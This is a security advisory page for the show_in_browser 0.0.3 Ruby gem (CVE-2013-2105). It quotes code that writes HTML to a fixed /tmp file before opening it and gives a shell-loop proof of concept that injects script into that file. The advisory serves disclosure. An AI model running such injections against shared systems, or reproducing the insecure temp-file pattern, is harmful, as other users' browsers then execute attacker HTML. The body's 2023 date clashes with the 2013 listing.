Lucene search
K

Show In Browser 0.0.3 Ruby Gem File Injection Vulnerability

🗓️ 25 May 2013 00:00:00Reported by Larry CashdollarType 
zdt
 zdt
🔗 0day.today👁 20 Views

Show In Browser 0.0.3 Ruby Gem File Injection Vulnerability. Opens arbitrary text in your browser. Insecure temporary file use

Code
TITLE: Show In Browser 0.0.3 Ruby Gem /tmp file injection vulnerability.

DATE: 5/15/2023

AUTHOR: Larry W. Cashdollar (@_larry0)

DOWNLOAD: https://rubygems.org/gems/show_in_browser

DESCRIPTION: Opens arbitrary text in your browser

VENDOR: Jonathan Leung

FIX: N/A

CVE: 2013-2105

DETAILS: The following code uses the temporary file "/tmp/browser.html" insecurely.

 2   FILE_LOCATION = "/tmp/browser.html"

3 4 class << self 5 6 def show(html)

 7       file = File.open(FILE_LOCATION, 'w')
 8       file.write(html)
 9       file.close
10 
11 `open #{FILE_LOCATION}`


By a malicious user creating /tmp/browser.html first and repeatedly writing to it they can inject malicious html into 
the file right before it is about to be opened.

PoC:


nobody () pitter:/$ while (true); do echo "<script> alert('Hello'); </script>" >> /tmp/browser.html; done

Will pop up a java script alert in other gem users browser. 

ADVISORY: http://vapid.dhs.org/advisories/show_in_browser.html

#  0day.today [2018-03-12]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation